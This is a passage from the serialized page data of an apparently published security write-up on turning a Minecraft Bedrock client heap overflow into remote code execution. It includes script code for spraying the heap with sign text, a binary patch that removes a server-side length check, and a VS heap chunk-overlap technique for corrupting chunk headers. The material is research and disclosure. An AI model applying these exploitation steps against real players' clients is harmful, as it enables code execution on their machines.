sign_block\n",{"type":23,"tag":213,"props":151251,"children":151252},{"class":215,"line":1912},[151253,151257,151262,151266,151271,151275,151280],{"type":23,"tag":213,"props":151254,"children":151255},{"style":220},[151256],{"type":28,"value":151108},{"type":23,"tag":213,"props":151258,"children":151259},{"style":257},[151260],{"type":28,"value":151261},"getComponent",{"type":23,"tag":213,"props":151263,"children":151264},{"style":220},[151265],{"type":28,"value":265},{"type":23,"tag":213,"props":151267,"children":151268},{"style":268},[151269],{"type":28,"value":151270},"BlockComponentTypes",{"type":23,"tag":213,"props":151272,"children":151273},{"style":220},[151274],{"type":28,"value":124},{"type":23,"tag":213,"props":151276,"children":151277},{"style":268},[151278],{"type":28,"value":151279},"Sign",{"type":23,"tag":213,"props":151281,"children":151282},{"style":220},[151283],{"type":28,"value":2867},{"type":23,"tag":213,"props":151285,"children":151286},{"class":215,"line":1921},[151287],{"type":23,"tag":213,"props":151288,"children":151289},{"emptyLinePlaceholder":18},[151290],{"type":28,"value":530},{"type":23,"tag":213,"props":151292,"children":151293},{"class":215,"line":3879},[151294,151299,151303,151307],{"type":23,"tag":213,"props":151295,"children":151296},{"style":268},[151297],{"type":28,"value":151298}," signs",{"type":23,"tag":213,"props":151300,"children":151301},{"style":220},[151302],{"type":28,"value":124},{"type":23,"tag":213,"props":151304,"children":151305},{"style":257},[151306],{"type":28,"value":3902},{"type":23,"tag":213,"props":151308,"children":151309},{"style":220},[151310],{"type":28,"value":15199},{"type":23,"tag":213,"props":151312,"children":151313},{"class":215,"line":3887},[151314,151319,151323],{"type":23,"tag":213,"props":151315,"children":151316},{"style":268},[151317],{"type":28,"value":151318}," sign:",{"type":23,"tag":213,"props":151320,"children":151321},{"style":268},[151322],{"type":28,"value":151240},{"type":23,"tag":213,"props":151324,"children":151325},{"style":220},[151326],{"type":28,"value":944},{"type":23,"tag":213,"props":151328,"children":151329},{"class":215,"line":3918},[151330,151335,151339],{"type":23,"tag":213,"props":151331,"children":151332},{"style":268},[151333],{"type":28,"value":151334}," allocated:",{"type":23,"tag":213,"props":151336,"children":151337},{"style":230},[151338],{"type":28,"value":9143},{"type":23,"tag":213,"props":151340,"children":151341},{"style":220},[151342],{"type":28,"value":944},{"type":23,"tag":213,"props":151344,"children":151345},{"class":215,"line":3926},[151346,151351,151355],{"type":23,"tag":213,"props":151347,"children":151348},{"style":268},[151349],{"type":28,"value":151350}," block:",{"type":23,"tag":213,"props":151352,"children":151353},{"style":268},[151354],{"type":28,"value":151091},{"type":23,"tag":213,"props":151356,"children":151357},{"style":220},[151358],{"type":28,"value":944},{"type":23,"tag":213,"props":151360,"children":151361},{"class":215,"line":3986},[151362,151367],{"type":23,"tag":213,"props":151363,"children":151364},{"style":268},[151365],{"type":28,"value":151366}," removed:",{"type":23,"tag":213,"props":151368,"children":151369},{"style":230},[151370],{"type":28,"value":12393},{"type":23,"tag":213,"props":151372,"children":151373},{"class":215,"line":9132},[151374],{"type":23,"tag":213,"props":151375,"children":151376},{"style":220},[151377],{"type":28,"value":151378}," });\n",{"type":23,"tag":213,"props":151380,"children":151381},{"class":215,"line":9150},[151382],{"type":23,"tag":213,"props":151383,"children":151384},{"style":220},[151385],{"type":28,"value":3444},{"type":23,"tag":213,"props":151387,"children":151388},{"class":215,"line":9195},[151389],{"type":23,"tag":213,"props":151390,"children":151391},{"style":220},[151392],{"type":28,"value":2875},{"type":23,"tag":213,"props":151394,"children":151395},{"class":215,"line":9301},[151396],{"type":23,"tag":213,"props":151397,"children":151398},{"style":220},[151399],{"type":28,"value":1208},{"type":23,"tag":213,"props":151401,"children":151402},{"class":215,"line":23557},[151403],{"type":23,"tag":213,"props":151404,"children":151405},{"emptyLinePlaceholder":18},[151406],{"type":28,"value":530},{"type":23,"tag":213,"props":151408,"children":151409},{"class":215,"line":23592},[151410,151414,151419],{"type":23,"tag":213,"props":151411,"children":151412},{"style":230},[151413],{"type":28,"value":31433},{"type":23,"tag":213,"props":151415,"children":151416},{"style":257},[151417],{"type":28,"value":151418}," remove_wall",{"type":23,"tag":213,"props":151420,"children":151421},{"style":220},[151422],{"type":28,"value":15791},{"type":23,"tag":213,"props":151424,"children":151425},{"class":215,"line":23600},[151426,151430,151434],{"type":23,"tag":213,"props":151427,"children":151428},{"style":268},[151429],{"type":28,"value":150907},{"type":23,"tag":213,"props":151431,"children":151432},{"style":274},[151433],{"type":28,"value":511},{"type":23,"tag":213,"props":151435,"children":151436},{"style":220},[151437],{"type":28,"value":150916},{"type":23,"tag":213,"props":151439,"children":151440},{"class":215,"line":23608},[151441],{"type":23,"tag":213,"props":151442,"children":151443},{"style":220},[151444],{"type":28,"value":61840},{"type":23,"tag":213,"props":151446,"children":151447},{"class":215,"line":23617},[151448,151452,151456,151460,151464,151468,151472,151476,151480,151484,151488,151492,151496,151500],{"type":23,"tag":213,"props":151449,"children":151450},{"style":1362},[151451],{"type":28,"value":3131},{"type":23,"tag":213,"props":151453,"children":151454},{"style":220},[151455],{"type":28,"value":400},{"type":23,"tag":213,"props":151457,"children":151458},{"style":230},[151459],{"type":28,"value":11871},{"type":23,"tag":213,"props":151461,"children":151462},{"style":268},[151463],{"type":28,"value":150943},{"type":23,"tag":213,"props":151465,"children":151466},{"style":274},[151467],{"type":28,"value":511},{"type":23,"tag":213,"props":151469,"children":151470},{"style":514},[151471],{"type":28,"value":517},{"type":23,"tag":213,"props":151473,"children":151474},{"style":220},[151475],{"type":28,"value":17277},{"type":23,"tag":213,"props":151477,"children":151478},{"style":268},[151479],{"type":28,"value":150960},{"type":23,"tag":213,"props":151481,"children":151482},{"style":274},[151483],{"type":28,"value":8804},{"type":23,"tag":213,"props":151485,"children":151486},{"style":268},[151487],{"type":28,"value":150969},{"type":23,"tag":213,"props":151489,"children":151490},{"style":220},[151491],{"type":28,"value":17277},{"type":23,"tag":213,"props":151493,"children":151494},{"style":268},[151495],{"type":28,"value":150960},{"type":23,"tag":213,"props":151497,"children":151498},{"style":274},[151499],{"type":28,"value":51322},{"type":23,"tag":213,"props":151501,"children":151502},{"style":220},[151503],{"type":28,"value":14870},{"type":23,"tag":213,"props":151505,"children":151506},{"class":215,"line":23659},[151507,151511,151515,151519,151523,151527,151531,151535,151539,151543,151547,151551,151555,151559],{"type":23,"tag":213,"props":151508,"children":151509},{"style":1362},[151510],{"type":28,"value":60630},{"type":23,"tag":213,"props":151512,"children":151513},{"style":220},[151514],{"type":28,"value":400},{"type":23,"tag":213,"props":151516,"children":151517},{"style":230},[151518],{"type":28,"value":11871},{"type":23,"tag":213,"props":151520,"children":151521},{"style":268},[151522],{"type":28,"value":151005},{"type":23,"tag":213,"props":151524,"children":151525},{"style":274},[151526],{"type":28,"value":511},{"type":23,"tag":213,"props":151528,"children":151529},{"style":514},[151530],{"type":28,"value":517},{"type":23,"tag":213,"props":151532,"children":151533},{"style":220},[151534],{"type":28,"value":17277},{"type":23,"tag":213,"props":151536,"children":151537},{"style":268},[151538],{"type":28,"value":151022},{"type":23,"tag":213,"props":151540,"children":151541},{"style":274},[151542],{"type":28,"value":8804},{"type":23,"tag":213,"props":151544,"children":151545},{"style":268},[151546],{"type":28,"value":151031},{"type":23,"tag":213,"props":151548,"children":151549},{"style":220},[151550],{"type":28,"value":17277},{"type":23,"tag":213,"props":151552,"children":151553},{"style":268},[151554],{"type":28,"value":151022},{"type":23,"tag":213,"props":151556,"children":151557},{"style":274},[151558],{"type":28,"value":51322},{"type":23,"tag":213,"props":151560,"children":151561},{"style":220},[151562],{"type":28,"value":14870},{"type":23,"tag":213,"props":151564,"children":151565},{"class":215,"line":23692},[151566],{"type":23,"tag":213,"props":151567,"children":151568},{"style":220},[151569],{"type":28,"value":151078},{"type":23,"tag":213,"props":151571,"children":151572},{"class":215,"line":23700},[151573,151577,151581],{"type":23,"tag":213,"props":151574,"children":151575},{"style":220},[151576],{"type":28,"value":151062},{"type":23,"tag":213,"props":151578,"children":151579},{"style":274},[151580],{"type":28,"value":9675},{"type":23,"tag":213,"props":151582,"children":151583},{"style":220},[151584],{"type":28,"value":11856},{"type":23,"tag":213,"props":151586,"children":151587},{"class":215,"line":23708},[151588],{"type":23,"tag":213,"props":151589,"children":151590},{"style":220},[151591],{"type":28,"value":151592}," \n",{"type":23,"tag":213,"props":151594,"children":151595},{"class":215,"line":23717},[151596,151600,151604,151608,151612,151617],{"type":23,"tag":213,"props":151597,"children":151598},{"style":230},[151599],{"type":28,"value":151086},{"type":23,"tag":213,"props":151601,"children":151602},{"style":268},[151603],{"type":28,"value":151091},{"type":23,"tag":213,"props":151605,"children":151606},{"style":274},[151607],{"type":28,"value":511},{"type":23,"tag":213,"props":151609,"children":151610},{"style":1362},[151611],{"type":28,"value":36269},{"type":23,"tag":213,"props":151613,"children":151614},{"style":257},[151615],{"type":28,"value":151616}," wait_for_block",{"type":23,"tag":213,"props":151618,"children":151619},{"style":220},[151620],{"type":28,"value":1511},{"type":23,"tag":213,"props":151622,"children":151623},{"class":215,"line":23793},[151624,151629,151633,151637,151641,151645],{"type":23,"tag":213,"props":151625,"children":151626},{"style":268},[151627],{"type":28,"value":151628}," world",{"type":23,"tag":213,"props":151630,"children":151631},{"style":220},[151632],{"type":28,"value":124},{"type":23,"tag":213,"props":151634,"children":151635},{"style":257},[151636],{"type":28,"value":151113},{"type":23,"tag":213,"props":151638,"children":151639},{"style":220},[151640],{"type":28,"value":265},{"type":23,"tag":213,"props":151642,"children":151643},{"style":246},[151644],{"type":28,"value":151122},{"type":23,"tag":213,"props":151646,"children":151647},{"style":220},[151648],{"type":28,"value":1715},{"type":23,"tag":213,"props":151650,"children":151651},{"class":215,"line":23826},[151652],{"type":23,"tag":213,"props":151653,"children":151654},{"style":268},[151655],{"type":28,"value":151656}," sign_location\n",{"type":23,"tag":213,"props":151658,"children":151659},{"class":215,"line":23834},[151660],{"type":23,"tag":213,"props":151661,"children":151662},{"style":220},[151663],{"type":28,"value":125167},{"type":23,"tag":213,"props":151665,"children":151666},{"class":215,"line":23842},[151667,151671,151675,151679],{"type":23,"tag":213,"props":151668,"children":151669},{"style":268},[151670],{"type":28,"value":151159},{"type":23,"tag":213,"props":151672,"children":151673},{"style":220},[151674],{"type":28,"value":124},{"type":23,"tag":213,"props":151676,"children":151677},{"style":257},[151678],{"type":28,"value":150766},{"type":23,"tag":213,"props":151680,"children":151681},{"style":220},[151682],{"type":28,"value":1511},{"type":23,"tag":213,"props":151684,"children":151685},{"class":215,"line":23879},[151686,151690,151694,151698,151702,151706],{"type":23,"tag":213,"props":151687,"children":151688},{"style":268},[151689],{"type":28,"value":151179},{"type":23,"tag":213,"props":151691,"children":151692},{"style":220},[151693],{"type":28,"value":124},{"type":23,"tag":213,"props":151695,"children":151696},{"style":257},[151697],{"type":28,"value":150787},{"type":23,"tag":213,"props":151699,"children":151700},{"style":220},[151701],{"type":28,"value":265},{"type":23,"tag":213,"props":151703,"children":151704},{"style":246},[151705],{"type":28,"value":150796},{"type":23,"tag":213,"props":151707,"children":151708},{"style":220},[151709],{"type":28,"value":2183},{"type":23,"tag":213,"props":151711,"children":151712},{"class":215,"line":23892},[151713],{"type":23,"tag":213,"props":151714,"children":151715},{"style":220},[151716],{"type":28,"value":125167},{"type":23,"tag":213,"props":151718,"children":151719},{"class":215,"line":23905},[151720],{"type":23,"tag":213,"props":151721,"children":151722},{"emptyLinePlaceholder":18},[151723],{"type":28,"value":530},{"type":23,"tag":213,"props":151725,"children":151726},{"class":215,"line":23918},[151727,151731,151735],{"type":23,"tag":213,"props":151728,"children":151729},{"style":220},[151730],{"type":28,"value":151062},{"type":23,"tag":213,"props":151732,"children":151733},{"style":274},[151734],{"type":28,"value":9675},{"type":23,"tag":213,"props":151736,"children":151737},{"style":220},[151738],{"type":28,"value":11856},{"type":23,"tag":213,"props":151740,"children":151741},{"class":215,"line":23972},[151742],{"type":23,"tag":213,"props":151743,"children":151744},{"style":220},[151745],{"type":28,"value":3444},{"type":23,"tag":213,"props":151747,"children":151748},{"class":215,"line":23980},[151749],{"type":23,"tag":213,"props":151750,"children":151751},{"style":220},[151752],{"type":28,"value":2875},{"type":23,"tag":213,"props":151754,"children":151755},{"class":215,"line":32336},[151756],{"type":23,"tag":213,"props":151757,"children":151758},{"style":220},[151759],{"type":28,"value":1208},{"type":23,"tag":213,"props":151761,"children":151762},{"class":215,"line":32357},[151763],{"type":23,"tag":213,"props":151764,"children":151765},{"emptyLinePlaceholder":18},[151766],{"type":28,"value":530},{"type":23,"tag":213,"props":151768,"children":151769},{"class":215,"line":81004},[151770,151775,151779,151784,151788,151793,151797,151802,151806,151811,151815,151819],{"type":23,"tag":213,"props":151771,"children":151772},{"style":268},[151773],{"type":28,"value":151774},"world",{"type":23,"tag":213,"props":151776,"children":151777},{"style":220},[151778],{"type":28,"value":124},{"type":23,"tag":213,"props":151780,"children":151781},{"style":268},[151782],{"type":28,"value":151783},"afterEvents",{"type":23,"tag":213,"props":151785,"children":151786},{"style":220},[151787],{"type":28,"value":124},{"type":23,"tag":213,"props":151789,"children":151790},{"style":268},[151791],{"type":28,"value":151792},"playerSpawn",{"type":23,"tag":213,"props":151794,"children":151795},{"style":220},[151796],{"type":28,"value":124},{"type":23,"tag":213,"props":151798,"children":151799},{"style":257},[151800],{"type":28,"value":151801},"subscribe",{"type":23,"tag":213,"props":151803,"children":151804},{"style":220},[151805],{"type":28,"value":31579},{"type":23,"tag":213,"props":151807,"children":151808},{"style":268},[151809],{"type":28,"value":151810},"arg",{"type":23,"tag":213,"props":151812,"children":151813},{"style":220},[151814],{"type":28,"value":298},{"type":23,"tag":213,"props":151816,"children":151817},{"style":230},[151818],{"type":28,"value":1445},{"type":23,"tag":213,"props":151820,"children":151821},{"style":220},[151822],{"type":28,"value":1375},{"type":23,"tag":213,"props":151824,"children":151825},{"class":215,"line":81017},[151826,151831],{"type":23,"tag":213,"props":151827,"children":151828},{"style":257},[151829],{"type":28,"value":151830}," create_wall",{"type":23,"tag":213,"props":151832,"children":151833},{"style":220},[151834],{"type":28,"value":3759},{"type":23,"tag":213,"props":151836,"children":151837},{"class":215,"line":81025},[151838],{"type":23,"tag":213,"props":151839,"children":151840},{"style":220},[151841],{"type":28,"value":35395},{"type":23,"tag":213,"props":151843,"children":151844},{"class":215,"line":81033},[151845],{"type":23,"tag":213,"props":151846,"children":151847},{"emptyLinePlaceholder":18},[151848],{"type":28,"value":530},{"type":23,"tag":213,"props":151850,"children":151851},{"class":215,"line":81041},[151852,151856,151860,151865,151869,151874,151878,151882,151886,151890,151894,151898,151902,151906],{"type":23,"tag":213,"props":151853,"children":151854},{"style":268},[151855],{"type":28,"value":151774},{"type":23,"tag":213,"props":151857,"children":151858},{"style":220},[151859],{"type":28,"value":124},{"type":23,"tag":213,"props":151861,"children":151862},{"style":268},[151863],{"type":28,"value":151864},"beforeEvents",{"type":23,"tag":213,"props":151866,"children":151867},{"style":220},[151868],{"type":28,"value":124},{"type":23,"tag":213,"props":151870,"children":151871},{"style":268},[151872],{"type":28,"value":151873},"playerLeave",{"type":23,"tag":213,"props":151875,"children":151876},{"style":220},[151877],{"type":28,"value":124},{"type":23,"tag":213,"props":151879,"children":151880},{"style":257},[151881],{"type":28,"value":151801},{"type":23,"tag":213,"props":151883,"children":151884},{"style":220},[151885],{"type":28,"value":265},{"type":23,"tag":213,"props":151887,"children":151888},{"style":230},[151889],{"type":28,"value":36203},{"type":23,"tag":213,"props":151891,"children":151892},{"style":220},[151893],{"type":28,"value":400},{"type":23,"tag":213,"props":151895,"children":151896},{"style":268},[151897],{"type":28,"value":151810},{"type":23,"tag":213,"props":151899,"children":151900},{"style":220},[151901],{"type":28,"value":298},{"type":23,"tag":213,"props":151903,"children":151904},{"style":230},[151905],{"type":28,"value":1445},{"type":23,"tag":213,"props":151907,"children":151908},{"style":220},[151909],{"type":28,"value":1375},{"type":23,"tag":213,"props":151911,"children":151912},{"class":215,"line":81081},[151913,151918],{"type":23,"tag":213,"props":151914,"children":151915},{"style":257},[151916],{"type":28,"value":151917}," remove_wall",{"type":23,"tag":213,"props":151919,"children":151920},{"style":220},[151921],{"type":28,"value":3759},{"type":23,"tag":213,"props":151923,"children":151924},{"class":215,"line":81089},[151925],{"type":23,"tag":213,"props":151926,"children":151927},{"style":220},[151928],{"type":28,"value":35395},{"type":23,"tag":24,"props":151930,"children":151931},{},[151932],{"type":28,"value":151933},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":23,"tag":24,"props":151935,"children":151936},{},[151937],{"type":23,"tag":4009,"props":151938,"children":151941},{"alt":151939,"src":151940},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":23,"tag":24,"props":151943,"children":151944},{},[151945],{"type":28,"value":151946},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":23,"tag":18945,"props":151948,"children":151950},{"id":151949},"a-small-roadblock",[151951],{"type":28,"value":151952},"A Small Roadblock",{"type":23,"tag":24,"props":151954,"children":151955},{},[151956],{"type":28,"value":151957},"While testing our heap spray method, we encountered the following error:",{"type":23,"tag":202,"props":151959,"children":151961},{"code":151960},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[151962],{"type":23,"tag":209,"props":151963,"children":151964},{"__ignoreMap":7},[151965],{"type":28,"value":151960},{"type":23,"tag":24,"props":151967,"children":151968},{},[151969,151971,151977],{"type":28,"value":151970},"An error is thrown by the server executable while trying to assign text longer than ",{"type":23,"tag":209,"props":151972,"children":151974},{"className":151973},[],[151975],{"type":28,"value":151976},"512",{"type":28,"value":151978}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":23,"tag":24,"props":151980,"children":151981},{},[151982],{"type":28,"value":151983},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":23,"tag":24,"props":151985,"children":151986},{},[151987],{"type":28,"value":151988},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":23,"tag":24,"props":151990,"children":151991},{},[151992],{"type":23,"tag":4009,"props":151993,"children":151995},{"alt":50631,"src":151994},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":23,"tag":24,"props":151997,"children":151998},{},[151999,152001,152007],{"type":28,"value":152000},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":23,"tag":209,"props":152002,"children":152004},{"className":152003},[],[152005],{"type":28,"value":152006},"string_length \u003C= 512",{"type":28,"value":152008}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":23,"tag":24,"props":152010,"children":152011},{},[152012],{"type":28,"value":152013},"The disassembly of the comparison looks like this:",{"type":23,"tag":24,"props":152015,"children":152016},{},[152017],{"type":23,"tag":4009,"props":152018,"children":152020},{"alt":50631,"src":152019},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":23,"tag":24,"props":152022,"children":152023},{},[152024,152026,152031,152033,152038,152039,152044,152046,152052,152054,152060,152062,152067,152069,152074],{"type":28,"value":152025},"The code compares ",{"type":23,"tag":209,"props":152027,"children":152029},{"className":152028},[],[152030],{"type":28,"value":56827},{"type":28,"value":152032}," (the string length) to ",{"type":23,"tag":209,"props":152034,"children":152036},{"className":152035},[],[152037],{"type":28,"value":127867},{"type":28,"value":400},{"type":23,"tag":209,"props":152040,"children":152042},{"className":152041},[],[152043],{"type":28,"value":151976},{"type":28,"value":152045}," decimal). It then performs a ",{"type":23,"tag":209,"props":152047,"children":152049},{"className":152048},[],[152050],{"type":28,"value":152051},"jbe",{"type":28,"value":152053},", jumping to address ",{"type":23,"tag":209,"props":152055,"children":152057},{"className":152056},[],[152058],{"type":28,"value":152059},"0x14275114c",{"type":28,"value":152061}," if ",{"type":23,"tag":209,"props":152063,"children":152065},{"className":152064},[],[152066],{"type":28,"value":56827},{"type":28,"value":152068}," is less than or equal to ",{"type":23,"tag":209,"props":152070,"children":152072},{"className":152071},[],[152073],{"type":28,"value":151976},{"type":28,"value":152075},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":23,"tag":24,"props":152077,"children":152078},{},[152079,152081,152086,152088,152094],{"type":28,"value":152080},"To force execution down this path, we patched the ",{"type":23,"tag":209,"props":152082,"children":152084},{"className":152083},[],[152085],{"type":28,"value":152051},{"type":28,"value":152087}," instruction to an unconditional ",{"type":23,"tag":209,"props":152089,"children":152091},{"className":152090},[],[152092],{"type":28,"value":152093},"jmp",{"type":28,"value":152095},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":23,"tag":24,"props":152097,"children":152098},{},[152099],{"type":23,"tag":4009,"props":152100,"children":152102},{"alt":50631,"src":152101},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":23,"tag":24,"props":152104,"children":152105},{},[152106,152108,152113,152115,152120],{"type":28,"value":152107},"After patching the server and calling ",{"type":23,"tag":209,"props":152109,"children":152111},{"className":152110},[],[152112],{"type":28,"value":150217},{"type":28,"value":152114}," with a size of ",{"type":23,"tag":209,"props":152116,"children":152118},{"className":152117},[],[152119],{"type":28,"value":58201},{"type":28,"value":152121},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":23,"tag":24,"props":152123,"children":152124},{},[152125],{"type":23,"tag":4009,"props":152126,"children":152128},{"alt":50631,"src":152127},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":23,"tag":18845,"props":152130,"children":152131},{},[],{"type":23,"tag":24,"props":152133,"children":152134},{},[152135],{"type":28,"value":152136},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":23,"tag":24,"props":152138,"children":152139},{},[152140],{"type":28,"value":152141},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":23,"tag":9693,"props":152143,"children":152145},{"id":152144},"overlapping-heap-chunks",[152146],{"type":28,"value":152147},"Overlapping Heap Chunks",{"type":23,"tag":24,"props":152149,"children":152150},{},[152151,152153,152158],{"type":28,"value":152152},"The attack is described in detail in the referenced blog post (",{"type":23,"tag":36,"props":152154,"children":152156},{"href":149961,"rel":152155},[40],[152157],{"type":28,"value":47636},{"type":28,"value":152159},"), so we will present a high-level overview.",{"type":23,"tag":24,"props":152161,"children":152162},{},[152163,152165,152171],{"type":28,"value":152164},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":23,"tag":209,"props":152166,"children":152168},{"className":152167},[],[152169],{"type":28,"value":152170},"_HEAP_VS_CHUNK_HEADER",{"type":28,"value":152172}," structure layout is required:",{"type":23,"tag":202,"props":152174,"children":152176},{"code":152175}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[152177],{"type":23,"tag":209,"props":152178,"children":152179},{"__ignoreMap":7},[152180],{"type":28,"value":152175},{"type":23,"tag":24,"props":152182,"children":152183},{},[152184,152186,152192,152194,152200,152201,152207,152208,152214,152216,152221,152223,152228,152230,152236,152238,152243,152245,152251],{"type":28,"value":152185},"At offset 0 there is a header ",{"type":23,"tag":209,"props":152187,"children":152189},{"className":152188},[],[152190],{"type":28,"value":152191},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":28,"value":152193}," containing fields such as ",{"type":23,"tag":209,"props":152195,"children":152197},{"className":152196},[],[152198],{"type":28,"value":152199},"MemoryCost",{"type":28,"value":424},{"type":23,"tag":209,"props":152202,"children":152204},{"className":152203},[],[152205],{"type":28,"value":152206},"UnsafeSize",{"type":28,"value":424},{"type":23,"tag":209,"props":152209,"children":152211},{"className":152210},[],[152212],{"type":28,"value":152213},"UnsafePrevSize",{"type":28,"value":152215},", etc. For the attack we only care about the ",{"type":23,"tag":209,"props":152217,"children":152219},{"className":152218},[],[152220],{"type":28,"value":152206},{"type":28,"value":152222}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":23,"tag":209,"props":152224,"children":152226},{"className":152225},[],[152227],{"type":28,"value":126490},{"type":28,"value":152229},", so for a chunk of size ",{"type":23,"tag":209,"props":152231,"children":152233},{"className":152232},[],[152234],{"type":28,"value":152235},"0x4010",{"type":28,"value":152237}," the value of ",{"type":23,"tag":209,"props":152239,"children":152241},{"className":152240},[],[152242],{"type":28,"value":152206},{"type":28,"value":152244}," would be ",{"type":23,"tag":209,"props":152246,"children":152248},{"className":152247},[],[152249],{"type":28,"value":152250},"0x401",{"type":28,"value":124},{"type":23,"tag":24,"props":152253,"children":152254},{},[152255,152256,152261],{"type":28,"value":64270},{"type":23,"tag":209,"props":152257,"children":152259},{"className":152258},[],[152260],{"type":28,"value":152206},{"type":28,"value":152262}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":23,"tag":24,"props":152264,"children":152265},{},[152266,152268,152273,152275,152280,152282,152288,152290,152295],{"type":28,"value":152267},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":23,"tag":209,"props":152269,"children":152271},{"className":152270},[],[152272],{"type":28,"value":152206},{"type":28,"value":152274}," in the smallest possible VS chunk (",{"type":23,"tag":209,"props":152276,"children":152278},{"className":152277},[],[152279],{"type":28,"value":152235},{"type":28,"value":152281},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":23,"tag":209,"props":152283,"children":152285},{"className":152284},[],[152286],{"type":28,"value":152287},"[0x10, 0xffff0]",{"type":28,"value":152289}," range, the probability that it exceeds ",{"type":23,"tag":209,"props":152291,"children":152293},{"className":152292},[],[152294],{"type":28,"value":152235},{"type":28,"value":152296}," is:",{"type":23,"tag":202,"props":152298,"children":152300},{"code":152299},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[152301],{"type":23,"tag":209,"props":152302,"children":152303},{"__ignoreMap":7},[152304],{"type":28,"value":152299},{"type":23,"tag":24,"props":152306,"children":152307},{},[152308],{"type":28,"value":152309},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":23,"tag":24,"props":152311,"children":152312},{},[152313],{"type":28,"value":152314},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":23,"tag":18945,"props":152316,"children":152318},{"id":152317},"overlap-attack-overview",[152319],{"type":28,"value":152320},"Overlap Attack Overview",{"type":23,"tag":24,"props":152322,"children":152323},{},[152324,152326,152331],{"type":28,"value":152325},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":23,"tag":209,"props":152327,"children":152329},{"className":152328},[],[152330],{"type":28,"value":126513},{"type":28,"value":152332}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":23,"tag":24,"props":152334,"children":152335},{},[152336,152338,152343,152345,152350],{"type":28,"value":152337},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":23,"tag":209,"props":152339,"children":152341},{"className":152340},[],[152342],{"type":28,"value":148220},{"type":28,"value":152344},"-sized chunks in the free list that we want to avoid. If a ",{"type":23,"tag":209,"props":152346,"children":152348},{"className":152347},[],[152349],{"type":28,"value":148220},{"type":28,"value":152351},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":23,"tag":24,"props":152353,"children":152354},{},[152355,152357,152362],{"type":28,"value":152356},"To remove those ",{"type":23,"tag":209,"props":152358,"children":152360},{"className":152359},[],[152361],{"type":28,"value":148220},{"type":28,"value":152363},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":23,"tag":24,"props":152365,"children":152366},{},[152367],{"type":28,"value":152368},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":23,"tag":202,"props":152370,"children":152372},{"code":152371},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[152373],{"type":23,"tag":209,"props":152374,"children":152375},{"__ignoreMap":7},[152376],{"type":28,"value":152371},{"type":23,"tag":24,"props":152378,"children":152379},{},[152380,152382,152387,152389,152394],{"type":28,"value":152381},"Next we create ",{"type":23,"tag":87,"props":152383,"children":152384},{},[152385],{"type":28,"value":152386},"holes",{"type":28,"value":152388}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":23,"tag":209,"props":152390,"children":152392},{"className":152391},[],[152393],{"type":28,"value":148220},{"type":28,"value":152395},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":23,"tag":202,"props":152397,"children":152399},{"code":152398}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[152400],{"type":23,"tag":209,"props":152401,"children":152402},{"__ignoreMap":7},[152403],{"type":28,"value":152398},{"type":23,"tag":24,"props":152405,"children":152406},{},[152407,152409,152414,152416,152421],{"type":28,"value":152408},"When a 